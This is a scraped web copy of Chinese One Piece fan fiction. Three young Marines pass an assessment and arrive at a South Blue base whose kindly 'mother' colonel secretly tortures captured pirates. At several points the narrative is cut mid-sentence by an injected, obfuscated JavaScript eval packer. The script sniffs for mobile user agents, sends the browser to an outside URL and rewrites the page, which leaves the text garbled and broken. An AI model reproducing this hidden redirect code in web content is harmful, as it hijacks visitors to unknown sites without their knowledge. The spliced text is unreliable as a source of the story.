巴斯克：“……”一而再再而三的被挑衅，他有些动怒了。巴斯克直接灌下一口酒，喷吐出火焰。 孔雀冷笑一声，鞭子击打在地面，泥土们蠕动起来，在她面前竖成一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292660|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚固的土制城墙。“就这点能耐吗？想烧什么东西啊！”跟往日训练中，赤犬大将的岩浆相比可真是差的太远了。 而古伊娜借此机会直接反攻，月步跃至巴斯克身后，剑光一闪，朝其背部击去。察觉到身后异常，巴斯克来不及返身查看具体情况，只能用酒葫芦挡住。然而剑势来得猛烈，咔嚓一声，酒葫芦被一分为二，酒水直接洒落地面，与地上的火焰相融，火势瞬间变强，周围温度灼热起来。 “你们——！” 巴斯克原本通红的脸此刻涨得更红。然而还未结束，他身下的泡泡骤然破裂，巴斯克从空中坠落。他紧急生成另一个酒精泡泡试图托住自己，可刚一生成便被看不见的招式击碎。巴斯克重重摔落地面。 “岚脚——” 路希的声音姗姗来迟，她原本所处的位置离古伊娜隔了十几个区，用上月步也花费数分钟，还好虽然来迟，但不算太迟，战局还未结束。 巴斯克一眼看到路希身上的海军制服，不可置信喊道：“海军？！”同时大脑飞速转动着，另两个小鬼并没有穿着海军制服，难道也是海军吗？还是说只是巧合。在这里惹上了海军可不是什么好事，岛上本来就有海军基地，总部也离这里不远。 可恶，巴斯克开始后悔早上看中那个剑客，收对方当自己的手下了，都是他惹出的事。但是，他转念又想，船身的镀膜已经完成，可以下潜前往新世界，对方只是三个小鬼，如果及时干掉的话，海军那边肯定来不及收到消息。对啊，他忽然想到，海军要来的话通常是一堆人一起来，怎么可能只来三个小鬼，她们不一定真的是海军，至少另两个人没穿制服，剩下的那个可能是刚入伍的新兵，不需要太害怕。 从开始到结束，他只花了几秒时间思考，然而也正是这几秒的空当，路希已奔至他身侧，带着武装色霸气的拳头狠狠落在他脸上，同时阴恻恻的问道：“在想什么呢？” 最克制恶魔果实能力者的招式是霸气，她记得很清楚。 “呕——” 巴斯克被击出一口血。而古伊娜与孔雀的攻势立马接在路希的拳招后，巴斯克受到重击，忍无可忍，带着极大的怒意站起来，“你们三个小鬼，别太过分。” 与话音一同落下的，是他周身骤然爆开的气势，霸王色霸气。然而，几乎是霎那间，另一股霸气与他的霸气相撞，甚至气势比他更胜一筹，将他的霸气击退。 巴斯克本以为能用这招一击将三人击昏，夺取胜利，像过往面对其他敌人一样，未想到这常胜的一招竟然被挡下。路希冷淡地看着他，说道：“只有这点吗？” “你……” 巴斯克的心中升起一股微弱的恐惧之情。意志动摇间，只见路希缓缓抬起手，“指枪。” 她对着巴斯克的眼睛发射了指枪，这是他身上最脆弱的部分，疼痛等了一秒后，才倏然通往他的身体各处。 “啊啊、啊啊啊啊啊……” 巴斯克的眼睛缓缓落下血泪。 至此，胜负已定。接下去的战斗，交由古伊娜与孔雀联手解决。路希在一旁观看着战局，先前接下对方的霸气，消耗了她许多体力。此外，她还联系了基地的海军，先前燃起的火还没灭，再不解决可就要成为火灾了。以及，这里离海军基地有些距离，她们直接拖着这个人回去肯定会引起许多麻烦，或许还会引起其他海贼攻击，还是直接让基地派人过来吧。 这次考核的成果很快传到鹤几人手中。 “三个五千万以上的海贼，以及一个过亿的海贼吗……”鹤露出微笑，果然，选择这三个孩子是对的。 在海上的泽法，收到消息后带着新兵们开了个小小的宴会。 赤犬看着这份消息，并未有任何情绪表露，只是在考核单上印下公章，代表三人正式通过考核，成为希望新星计划的参与者。 黄猿摩挲着下巴，意味不明的笑着：“现在的新兵，都很可怕啊。” 青雉收到消息后看着海面发呆了许久，他只是忽然想起一件事，一件微不足道的小事。一年多前，他曾在本部的码头对路希说，等她学会武装色霸气，她就可以和他一起外出执行任务。而现在，青雉意识到，他的学生将会走上一条离他很远的道路。孩童的成长竟是如此难以莫测之事。他突然很想去亲自看一下妮可·罗宾，看看她现在成长为何种模样。 而卡普是笑得最狂妄的那一个，站在战国的办公桌前耀武扬威。“哇哈哈哈哈哈，看，这就是我的孙女啊！” 战国：“……”吵死了！ 一个过亿的与三个五千万的海贼落网，这种消息自然是要登报的。于是，海军基地联合海军新兵抓获海贼便成了报纸首页内容。香波地群岛，夏琪的敲竹杠酒吧，前海贼王副手现镀膜工匠雷利看着手中报纸的新闻若有所思。 “有点可惜。” 他饮下一杯酒，说道。 酒吧的主人夏琪把付不出钱的海贼丢出门外，回了他一个眼神：“哦？” 雷利合上报纸，笑道：“当时没问那个孩子的名字。” 52.南海 “一、二、三……” 将注射器的液体完全推进男人的体内，确认对方死亡后，女人轻舒一口气。 “很遗憾，这次的心理治疗也有失败品存在。” 她站起身，打开房门。 “卫兵。” “是，蒂亚上校。” “照先前那样处理。” “是，蒂亚上校。” “说起来，海军本部派来的人到哪里了？” “据最新消息，已离开无风带，驶入南海，再过几个小时便可到达。” “是吗……”被叫做蒂亚上校的女人若有所思，随后绽放出一个欢喜的笑容，“那我可得好好招待她们。” 她哼着歌，从黑暗的房间中走出去，一步步迈上阶梯，走到有日光照耀的地面上。 南海，金沙镇，海军第256支部驻扎地。管理者，海军上校蒂亚，外号慈母。 路希、古伊娜与孔雀抵达此处还有一段时间。三人在无风带联手打晕了一只海王类作为午餐，一边激烈争辩着究竟谁是第一个打倒这只海王类的人一边为了争夺大胃王之位嚼嚼嚼吃完了大半部分。 剩下的一部分准备打包打包等下送给海军支部的人，当作见面礼。 孔雀神情凝重地看着扎了一个蝴蝶结的打包袋，说道：“说实话，你们真的不觉得有点寒酸了吗？” 路希并不觉得，但孔雀这么问了她自是要配合一下的：“有吗？那我们路上再看看有没有海贼抓几个送过去吧。” 古伊娜则是严肃的神情中夹杂了几分困惑：“究竟为什么我们要给支部的人送见面礼？” 路希指了指孔雀，示意是对方提出来的。 孔雀认真道：“吃人嘴软拿人手短，海军内部可不止打打杀杀，还有人情世故。每年被送上军事法庭的，不止有海贼，还有腐败的海军军官。” 路希热情鼓掌：“不愧是大参谋的孙女，想得就是周到。” 孔雀：“……”她怎么一点都没感受到夸赞的诚意。 “算啦、”路希踮起脚拍拍她的肩，“别想那么多，我们不一定会一直待在那里呢。” 考核通关后，她们便拥有了自由出海的权利，鉴于彼此都没有单独出海的经验，也未明确出海后究竟要做什么才能不愧对新星的身份，于是便先决定结伴同行。 去南海是路希的决定，既然她现在的身份是海军，那就做点海军要做的事。 以当前她们的实力，在新世界混显然有些难度，那里汇聚的都是过亿以及数十亿的大海贼，一口吃不成个胖子，那便退而求其次，看看伟大航路的前半段与四海。 路希首先排除了东海，东海素来有最弱、也即最和平的海域之称，据情报得知，现在东海赏金最高的海贼只有两千万，加之有卡普不定期回家看望路飞他们以及顺便巡航，敢冒头的海贼差不多都被揍了，没被揍的，算他们躲得好，总之东海实在不算事业的好起点。 第二个排除北海，目前驰骋在北海，有一统这个区域趋势的是一个叫杰尔马66的组织，而这个组织居然还是世界政府加盟国，考虑到现在还不方便与世界政府对着干，路希看向了下一个海域，西海。 西海不弱，但比起海贼，那里的黑手党组织更加有名，甚至不少人随手在这两个身份间自由切换。选择西海，要面对的不止海贼，还有地上的黑手党们，打击黑手党的不叫海军，叫警察，虽都是世界政府的人，但不属于同个部门，海军的新星计划放在那根本不好使。 唯有南海是海贼最为活跃的海域，据说也是最强大、最为凶恶的海域，这里既没有类似杰尔马66的组织，也不像西海黑手党帮派林立，每年都有不少海贼从南海进入伟大航路，为非作歹。 路希根本不带纠结的，直接选择了南海。建造房子要从打造地基准备起，新星事业亦如是，南海就是她选择的地基。 而海军第256基地是鹤为她们联系的，那里的海军上校是从女子海军新兵队出来的，每年都会写信感谢鹤当年的教导。由于新星计划目前处于实验阶段，保密性高，知晓的海军并不多。可参与者却有着堪比大将的权力，受到命令的海军们只会觉得凭什么，这其中引起的纠纷，也是参与者自己要去解决的一环。 显然鹤认为金沙镇的蒂亚上校是一个不太会因此为难她们的女人，不过孔雀认为还是要准备一些礼物。 “不过话又说回来，吃剩的海王类真的能算礼物吗？” 孔雀眼皮跳了一下，掏出小零食堵住路希的嘴，说道：“什么吃剩的，这是我们精心挑选出来最好的部分。” 这下轮到古伊娜感叹了，“不愧是海军本部大参谋的孙女，能说出我们都想不到的话。” 孔雀：“……你们两个！” 她真的要生气了！ * 看见金沙镇的轮廓时，已是午后一时，三人顺便还在附近打倒了一艘海贼船，捕获了一窝海贼绑起来放在军舰上，顺带强行霸占了海贼船上的财宝。 离码头不远处，路希站在船头眯着眼睛打量着岸上的景象，犹疑不定道：“是我看错了吗？还是等下会有什么其它贵族船只到访这里？” 孔雀报复心极强的走到路希身边，清了清喉咙说道：“走开，身高不到一米五的小矮子，让我看看。” 路希：“……” 没关系，她不生气。她爷爷的身高两米多呢，也就是说她现在长得矮只是因为年龄受限，等到孔雀这个年纪了肯定会超过对方。 孔雀看了一眼，也怔了片刻，“咦……” 于是古伊娜上前与她们并肩站着查看情况，同样陷入讶异，“这是……” 金沙镇的码头，人群涌动，护栏上装点着彩带鲜花与气球，甚至还有巨大的拱门，三人清清楚楚的看见上面挂着横幅，写着“欢迎海军本部新兵前来实习”。 看见了军舰出现在她们的视线中，岸上的人爆发出更响亮的欢呼声，热情不言而喻。 路希沉默了片刻，说道：“我们给的吃剩的海王类当做礼物确实很寒酸。” 孔雀默默说道：“没关系，我们还有这些海贼和他们的财宝可以一起送上去当做礼物。” 古伊娜不语，只是转身，准备去给那群海贼身上多打几个蝴蝶结装饰。 蒂亚站在人群的最前方，身穿海军制服，身姿挺拔，等待着军舰靠岸。鹤中将前不久与她有过联络，说是海军本部会派来三个海军前往南海任职，至于任的什么职位没有说，为什么忽然派人来也没有说，但却要求南海支部的人听从她们的命令行事。 蒂亚用自己的人脉探听了一下海军本部的消息，发现前来任职的三个人中一个是鹤中将的孙女，一个是卡普中将的孙女。三个人据说都实力不俗，一个人抵得过全部新兵。噢，她明白了，上层领导的孩子有实力但是军功不足，为了升职顺利，下派她们去支部刷刷资历，至于剩下那个应该是陪跑的。 蒂亚认为自己很好的理解了鹤中将的用意，于是精心准备了一番。她一直都是个很温柔，非常温柔的人，只要这些海军新兵需要，她就会好好对待她们。 “欢迎来到金沙镇。” 蒂亚张开双手，热情地笑道。 路希、古伊娜与孔雀三个利落的在船上把海贼们扔下去。 “诶？” 蒂亚怔了一下。 路希的眼神漂移了一瞬，随后大声喊道：“这群海贼是我们带来的见面礼！” 孔雀满脸笑容：“还有海王类身上很好吃的肉。” 古伊娜的两只手都拎着一个大袋子，喊道：“还有这些，从海贼船上搜剿来的财宝。” 码头诡异地安静了一会，随后爆发出更热烈的欢迎声：“噢噢噢噢噢噢噢噢噢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实我在基地的大厅里准备了一些点心，因为不清楚你们的口味，所以咸口和甜口都弄了一点，你们到时候可以尽情去吃。吃完午饭到现在也过了不少时间了，你们中途还去抓了海贼，一定很饿吧……” 路希感觉仿佛回到了小时候在风车村，因为不爱喝水，导致每天都被玛琪诺念叨的日子。蒂亚也很有妈妈的感觉呢……但是，她的耳朵好想休息一下。 孔雀倒是还在聚精会神的听着，路希心中对她的佩服加了一分，不愧是大参谋的孙女，知道搜集信息的重要性，虽然听到现在并没有什么特别有用的东西，只是知道了镇子上最好吃的菜是什么。 就这样边听边行走，曲曲折折的小路终于到了尽头，路希跟在蒂亚身后走出去，率先映入眼帘的是海军基地，其后，她的注意力马上被另一栋建筑夺走。她轻声念道：“海贼心理治疗中心……这是什么？”门前居然还养了好几只羊。 “这个嘛，”蒂亚的脸上是与先前别无二致的笑容，她亲切地说道，“这是专门为海贼准备的医院哦。因为，海贼也不是一开始就是海贼吧，在成为海贼前，他们也是普通人。但是……为什么会成为海贼呢？为什么要伤害无辜平民呢？” “我想，一定是他们身上有哪里出了问题，如果不是身体上的伤害，那一定就是心理出了情况。既然这样，只要与他们好好沟通，迟早能改正回来，重新当个普通人吧。所以我在这里上任后，专门设立了治疗中心，他们的心灵得到了解放，我们的世界才会迎来和平。” 她的声音说着说着先是低了下去，但紧接着像是察觉到这一点，又马上恢复昂扬的态度。蒂亚温和的看着明显怔住的三人组微笑：“你们三个也要来试试当下为海贼治疗的心理医生吗？先前你们抓到的海贼，大概已经办完入院手续，等待接受治疗了。” 路希：“……哇啊。” 金沙镇的管理者竟然是如此淳朴之人吗？ 53.南海 房间是白色的。墙壁、地板、椅子，所有的一切，就连人身上穿着的衣服，也是纯白的袍子。 蒂亚认为，白色是和平的颜色，于是治疗室的房间变成了这幅模样。 她打开门，现在是午夜时间零点，一天伊始，适合一切开始。 被挑选出来的海贼有四位，也是克洛海贼团唯四个赏金过百万的海贼。至于其他被抓到的海贼们，正关押在基地的监狱。预算有限，她不可能对抓到的全部海贼进行治疗，只能将重心放在有高额赏金的海贼身上。 毕竟，赏金越高，罪恶愈多。 四位海贼双手双脚都被拷在椅子上，嘴巴被布条堵住，动弹不得，无法呼喊。门开后，走廊的灯光映进漆黑的房间，蒂亚看到四张惊慌失措的脸庞。 今天，自被抓到送往治疗中心后，他们一直被迫在冷水里泡澡。水池不深，才一米高，无论如何都不会淹死。但难以忍受的是这种行为，岸上有两位海军，手里拿着棍子，一左一右看守着他们，并且不断用棍子把他们推至水池深处，直至难以呼吸才给他们冒头喘气的机会。 可这种机会也只有短短几秒，几秒过后，他们再次被迫沉入水中。 蒂亚认为，罪恶自内而外展开，心灵的恶意必将在表皮展现出来，而表皮的恶毒又会不断渗出深处，抵达灵魂。 因此，心理治疗的第一步，要洗刷与涤清外在的罪恶。 中途，看守他们的海军经过一次换班，而他们却无休息机会，直至明月高悬，他们才被带到这个小房间。 房间里没有窗，只有十三张钉在雪白的地板上的椅子，他们被拷在其中四张椅子上，彼此间只有眼神能互相交流。可很快，把他们带至此处的海军走了出去，关上门，咔嚓一声，视线中只剩下黑暗。 难以适应的黑暗。 在这片黑暗中，他们不知道等待了多久，才等来主治医师的到来。蒂亚打开灯，灯光也是白色的，映照在海贼们白蜡蜡的皱成一团的皮肤上。 他们在发抖，眼神在向她求救。 “唔唔……唔唔唔唔。” 蒂亚拍了两次手，眼里嘴角带着柔和的笑意，海贼们不自觉的安静下来。他们听说过的，慈母蒂亚，金沙镇的管理者，据说，她怜悯海贼们漂泊的人生，叹息海贼们不定的未来，坚信着世上绝无不可悔过的过错。因此，她建立了海贼疗养院，誓要让他们得到心灵的安定，结束无序的一生。 据说，她从不会主动处刑抓到的海贼。在她手中的海贼，罪恶过于沉重的，在疗养院接受心理治疗。罪恶微小的，判处刑期，接着以体力劳动抵消罪恶。 时常能看到消息，改过自新的海贼痛哭流涕地在金沙镇的广场一遍又一遍的忏悔自己的罪过，赞叹蒂亚的温柔与慈爱。当然，偶尔也有难以承受自己罪孽的海贼，选择自己结束自己的性命。 但无论如何，慈母会温柔地对待他们。 蒂亚的眼神在他们身上一个个打量过去，叹息般的吐出一口气。 “本来应该再迟点，等到清晨太阳升起的时候来找你们的。可惜，我的基地来了三个新兵，对心理治疗很感兴趣。” “作为合格的前辈，自然得让她们有个完美的体验。但是，前一个疗程的海贼只剩下两个人，实在不好意思让她们见笑。而你们这些海贼总是满嘴谎言，很不听话的生物，如果不提前打磨一下，真不知道到时候会惹出什么祸事吓到她们。” “所以，我们提前来玩治疗游戏吧。” 在纯白的房间里，她温柔地笑了。 * 路希睡了个好觉。 蒂亚给她们三个准备了三间单人房，床单被子什么都是新的，还有太阳晒过的气息。不仅如此，零食和晚饭的供应也是超一流，甚至晚上九点整，蒂亚还来问要不要吃宵夜。 路希本来还在想如她们这样的空降兵，多少会引起支部海军不服的心思呢。孔雀做好了送礼的准备，她做好了把她们全部打服的准备，结果一身武力完全没派上用场。蒂亚就像个鸟妈妈呵护着刚成长的小鸟一样关爱着她们。还是说这就是有背景的带来的好处吗，她不由得深思起自己和孔雀的后台。 路希眼含热泪把宵夜吃完选择睡觉。自律的人生就是这么简单。 第二天五点，她从睡梦中醒来。 洗脸刷牙换衣服，下楼绕着海军基地跑了一百圈。海贼心理治疗中心院子里的羊也醒的很早，已经在主动吃草。 路希看到蒂亚从治疗中心的大门处走出来。 这么早就上班？！ 路希主动与对方打招呼，她挥挥手：“蒂亚上校——” 蒂亚的脚步顿了一下，换了方向，走向路希这边。“这么早就起来训练自己了吗？”她笑着问道。 路希带着点探究心思看着她，“好像还比不过上校。” 蒂亚不慌不忙：“初次接受治疗的海贼总是很不听话，想着逃跑，所以我得多花时间观察，防止意外。” 也有几分道理。 “说起来我们今天的心理治疗体验什么时候开始？七点？八点？” 蒂亚有些无可奈何地笑了笑，“海贼们可不像你这么勤劳，还在睡呢。我们的治疗时间通常在早上九点开始，你可以和你的朋友们先去镇子上逛逛。” 海贼的牢狱生活怎么敢比她过得还舒服，路希震怒，问道：“那我可以提前去治疗中心内部看看吗？” 蒂亚食指交叉：“不、行。” 路希：“……” 那算了，反正她不着急。 等待的三小时内，路希并没闲着。她跑去叫孔雀起床，给练剑的古伊娜打包早饭，三人干饭途中顺带讨论勤劳的蒂亚上校，紧接着一起去了镇子上东逛西逛，在时间接近九点时返回。 九点整，蒂亚带着她们走进疗养中心。 疗养中心的大厅与普通的医院并无差别，至少路希没看出什么特别的地方。她们跟着蒂亚上了二楼，走廊有些狭窄，尽头没有窗户，天花板上的灯泡亮起白色的灯光，一扇扇门挂在墙壁上，全部都是白色的，门把手也是。 蒂亚打开走廊的第三扇门，侧头对着她们说道：“进来吧，这里是群体治疗室。” 四个海贼们戴着手铐和脚铐，规规矩矩地坐在椅子上。 路希打量着这片空间，和外面的走廊一样，没有窗户，全部都是白色的。有十三把椅子，钉在地面上围成一个圈，或许是为了防止海贼拿它们当做武器攻击。中间放着一个不大不小的圆桌，上面有个花瓶，一束假花放在里面。此外是一些点心与零食，还有四个本子和四支笔。 心理治疗居然还要给海贼吃零食，路希又要震怒了，她要抢在海贼吃之前把这些东西都解决掉。 孔雀看了一圈这个治疗室，感叹道：“好白啊。” 蒂亚选了一个椅子坐下来，笑道：“白色是，最接近纯洁的颜色。你们也落座吧。” 路希对此不置可否，她在风车村时最不爱穿白色的衣服，因为容易弄脏。她找了个椅子坐下来，准备看看要怎么对这群海贼进行治疗。 她看了一眼这四个海贼，似乎是因为被关了一夜，导致精神十分萎靡，双目无神，可能蒂亚没给他们吃东西，所以才要在这里放小零食。 蒂亚拍拍手，眉眼弯弯，一副平易近人的模样。“那么，本次心理治疗就此开始。”她拿起本子和笔，示意其她三人也拿起来。 路希、古伊娜与孔雀有学有样。 蒂亚摊开本子，声音轻柔：“心理治疗，顾名思义，我们要触碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303844|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、深入、了解病人的心灵，知晓他们的过去，探查他们的性格成因，抓捕他们的心灵阴影，接着铲除病灶，让病人重回正常人生。” “所以，我们要先从知道他们的名字开始。” 路希看向蒂亚，总感觉自己在被忽悠。她实在想不出这些海贼能有什么心理阴影，说实话，绝大部分海贼出海，只是因为对财宝的贪恋吧。 但她一向自认对知识是个谦虚好学的人，想当初待在达旦的山贼窝里时，她还会每天花十分钟看书呢。但是她什么都没说，静静地观察下去。 蒂亚的视线落在一号海贼身上，一号海贼开始结结巴巴发言，“我、我叫克洛，来、来自嘭嘭岛，今年三十七岁，被姥姥带大的，十年前有海贼登上我们岛抢夺钱财，我的姥姥为了守住家里的钱，被杀害了……” 路希盯着克洛开始走神，昨天遇见他时，这位船长还相当狂妄呢，说什么只有三个海军，还都是女的，正好可以卖个好价钱。 没想到经过一夜，变化如此之大，都老老实实的把家庭情况全部吐出来呢。 蒂亚时而皱眉听着，时而露出怜惜的神情，在克洛说完后，她心疼地看着他，“那你一定很难过吧，从小相依为命的姥姥死去了，是因为这个原因才出海当海贼吗？” “呃……呃……”克洛犹豫了一瞬，带着恐惧说道，“是的。” 见对方如此，蒂亚竖起食指，对克洛嘘了一声，随后看向路希三人说着话。 “有时候会出现这样的一种情况。明明海贼伤害了自己的家人，应当对海贼恨之入骨，但为什么还要出海当海贼呢？” 她用鼓励的眼神示意三人组勇敢回答。 路希、古伊娜、孔雀互相看了对方一眼，路希最先开口说道：“不知道。”她一点都不想知道也不想猜一个海贼的心路旅程。 古伊娜沉思：“是为了想变强，打倒那个海贼吗？” 孔雀最直接：“因为海贼都是蠢货。” 蒂亚笑笑，对三人解释道：“因为害怕与恐惧。” “哈？” “因为无力反抗，所以害怕。因为反抗或许会招致同姥姥一样死去的结局，所以恐惧。明明是敌人，这份敌意却无法发泄出去，只能转而攻击自身，一遍遍折磨自己的内心。在这种情况下，人的潜意识为了解救自己，会给自己找出许多理由。” “我是对的，我是正确的，我没有错。他太强了，打不过他，要接近他，要崇拜他，要成为他。为了获得足够的安全感活下去，远离内心的折磨，他们选择放弃愤怒，转而屈服。这种压抑的情感，有时会在某天爆发出来，从而导致自己生命的结束。有时则会投射到敌人身上，对他们产生欣赏之意，从而想着，自己也要成为这种人。” 蒂亚看回克洛，“对吧，克洛。” “是、是的。” 克洛痛哭流涕，蒂亚又笑了一下，看向二号海贼，轻声说道：“那么你呢。” “我、我……” 二号海贼同样结结巴巴开口，路希没怎么用心听，海贼的自白让她昏昏欲睡，她认真地吃起桌子上的小零食，还塞给了古伊娜和孔雀。 路希对海贼的过去不感兴趣，而害怕与恐惧会带来什么她早就知道，曾经在不确定物终点站，她就是这样收服那里的混混的。她更想知道，蒂亚为什么要坚持做这种根本毫无意义的事。与其给海贼心理治疗，不如先给那些普通人心理治疗，海贼带给他们的阴影才更深呢。 何况，早上在镇上探查到的消息，在治疗中崩溃结束自己性命的海贼就不说了。就算是心理治疗成功出院的海贼，最终也会在某个时间点精神崩溃，选择结束自己的性命。镇子外有他们的坟场，镇上的人都知道。 他们根本没有被治愈。 54.南海 又做梦了。 摇摇晃晃的船身，臭气熏天的舱底，饥肠辘辘的身体，囚笼中的虏隶。 绝望、哭泣、恐惧。 女人们小孩们的崩溃情绪。 她是被海贼从岛上强行抓走的货物。 脑袋，昏昏沉沉。世界，颠颠倒倒。视线，模模糊糊。 午后的日光刺眼，透过窗户照射在她身体上，蒂亚从睡梦中醒来，看着窗外的天空走神。 也是这么好的天气。 炮弹声、逃窜声、海贼的求饶声。 一个年老的女人走下楼梯，进入舱底，她看到对方身上的海军制服。 海军中将鹤带着她的女子海军队救了她与她们。 鹤中将是她的英雌。老人的手坚定有力搀扶住她孱弱的躯体，正义二字闪闪发亮。她嚎啕大哭，紧抓着老人的手不放。 “拜托了，求求你，让我当海军吧，我想成为海军，我想变强，我不想再被抓走了。” 鹤中将同意了她的乞求，此后她加入女子海军新兵队，自大海贼时代开始以来，这是她度过的最和平、最安宁的一段时光。 那一年，她二十岁，到现在又过了十年。 孔雀、路希、古伊娜，蒂亚的脑海中冒出三个新兵的身影，她的心灵逐渐柔软下来。 多么年轻的新兵，带着满怀的希望到达这里，如同鹤中将当初那样守护她们，她同样也会把这份守护传递下去，让三人茁壮成长。 而被单方面守护的路希正在考虑夜袭治疗中心。 蒂亚那么早从治疗中心出来，不是真的认真工作就是晚上没睡觉。但这么明显的猫腻摆在她眼前，那绝对是后者。 她来南海可是有正经事要干的，因此，支部的海军听话很重要，这样才能方便实行后续计划。 下午的时间，古伊娜和孔雀继续跟着蒂亚当心理医生，而路希跑去镇子上乱逛，中途还在码头抓住了一伙登港的海贼。 看来蒂亚的医院又有新人要进去了。 镇子上的居民对蒂亚的观感很好，会充满敬意的叫她慈母，因她就如同母亲那样守护着这座城镇和附近的海域。 虽然有些人对她建立的治疗中心薄有微词。 “海贼就是海贼，不管怎么样都是海贼，只会干杀人抢钱的坏事。要我说，蒂亚上校还是太温柔了。” “那些海贼？死了就死了，就算看起来变好了，过不了多久就会恢复本性吧。死了才好，被他们杀死的人可不会因为他们变好就重新活过来。” “治疗中心？比起这个我更喜欢蒂亚上校建立的孤儿院，前任上校在的时候……嘛，算了，我就不说了。” 路希又顺势找到了孤儿院，孤儿院的旁边是一所小学校。 她没有进去，只是在外浅浅观察了一会，这里的孩子玩得很开心。 路希走去商业街，一片热闹的景象，在这里生活的人们都充满着安全感。发自内心的快乐是很容易看出来的。 她买了一个五色冰激凌吃，吃完后慢悠悠地朝镇外走去，她要去看看海贼墓场。 墓场里林立着规格统一的墓碑，路希数了一遍，五百一十三个。蒂亚是八年前来到这里的，也就是说，八年的时间，她至少解决了五百一十三个海贼。不过，南海的海贼好歹有数十万，与总体数量相比，这实在是一个很少的数字。 但这也没有办法，海军和海贼的数量差距太多了，海贼整日在海上漂泊，没有专门的基地，远远看见海军就逃走，十分难抓。更别提南海的海贼一向凶恶，烧杀抢夺，而非加盟国的国家得不到海军庇护，人们为了谋生总得找个出路，长此以往，恶性循环。 路希逛得差不多了，便返回支部基地，该吃饭吃饭，该训练训练，该闲聊闲聊。然后，她等待着夜晚降临。 治疗中心门口的几只羊已经进入自己的窝棚睡觉，古伊娜和孔雀说她们下午还和海贼们一起照顾了羊，因为蒂亚认为动物可以让人的心灵得到愈疗。 从表面上看倒是十分像模像样。 可仔细观察，会发现治疗中心的窗户非常少。此外，纯白的房间也是，狭窄的走廊也是，明显精神状况不对的海贼也是。 临时写出的剧本就是会有许多细小矛盾之处，镇子上的人没能察觉是因为他们无需进入这座医院。 治疗中心的大门没锁，似乎并不担心里面的海贼逃跑。 路希推门进入，大厅的墙壁上挂有时钟，现在是午夜一点。整幢房屋都很安静。她想起昨日早上六点多推门而出的蒂亚，不知对方现在在睡觉还是在这里工作。 一楼的房间并不多，基本上都锁着，暴力开门明天早上就会被发现情况。往上走是曾去过的治疗室，而往下走……有一道铁门，门依旧上锁。 路希转而上楼，同时思考着蒂亚的办公室是否有钥匙。走廊的第三道门打开便是群体治疗室，门缝下隐隐透出白色的灯光。 路希站在门前思考了一会，决定素质低下的直接踹门，现在她才是掌有主导权的那方。 灯光一下子从屋内跃到了走廊上。 “晚上好！不对，应该是凌晨好？总之怎么都好，蒂亚上校！还有……我今天抓到的这几个海贼们。” 她扫了一眼室内，热情地打招呼。 蒂亚手中的动作停了下来，直直地盯着路希。路希像是毫无察觉到蒂亚的视线，仍旧笑眯眯地说道：“让我看看你在干什么？咦，这是在折磨他们吗？” 蒂亚极其缓慢地眨了眨眼，说道：“路希，你该睡觉了。” “可蒂亚上校你也没睡。” “我在给他们心理治疗。” “你是说用你手中和桌子上的这些东西？太好了，还以为这些海贼真能吃到零食呢。” 蒂亚忽然难以控制地笑了一声。 “你是说你看到这些，却还只在意他们能不能吃到零食？” 路希也笑着回应她。“可是蒂亚上校，我和你一样是海军。” 蒂亚又猛然沉默下来，看不出情绪。原本因路希进来挣扎起来的海贼们，听到她的这句话，再度露出绝望的神情。 路希绕着海贼们转了一圈，蒂亚打量着她的举动，思考用意。这个新兵有些出乎她的意料了。原本正是因为担心她们难以接受，所以才用白天那种做法掩盖的。然而现在看来，似乎并不需要？又或者，只是先礼后兵？不愧是鹤中将看中的人啊。 路希好奇问道：“所以这些海贼，最后都是要死的，为什么你要绕这么一大个圈子，不直接判处他们死刑呢？” 想做的话，支部的上校也是拥有这种权利的。何况赏金过千万的海贼，手上少不得几条人命。没人会指责她。 蒂亚长久地凝视着路希，路希相当有耐心地与她对视。终于，蒂亚自嘲一笑，说道：“因为我太弱了。” 她看着路希：“我们出去走走吧，不知你有没耐心和我这样的人聊天？”她不想在这个有着海贼的房间谈话。 路希欣然同意。 说是出去走走，其实也只是走到大厅门口的阶梯上，蒂亚带着点倦意坐下来，不等路希开口，自顾自说道：“因为我太弱了。” 即便成为海军，也无法保护所有的平民，能力的最大范围，是金沙镇的居民们。 “南海的海贼是很凶恶的。” 不仅凶恶，数量又多，一个接着一群，像除不掉的蟑螂，杀了一个马上又会有第二个冲过来。也有不少的海贼以与海军作对为乐。 “暴力泛滥的地方，秩序能起到的作用微乎其微。愈想在这里展现自己的正义，只会被邪恶吞噬得愈狠。四个海域□□海军的死亡率是最高的。” “如果没有镇压所有邪恶的能力，如果无法承受报复的后果，就只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 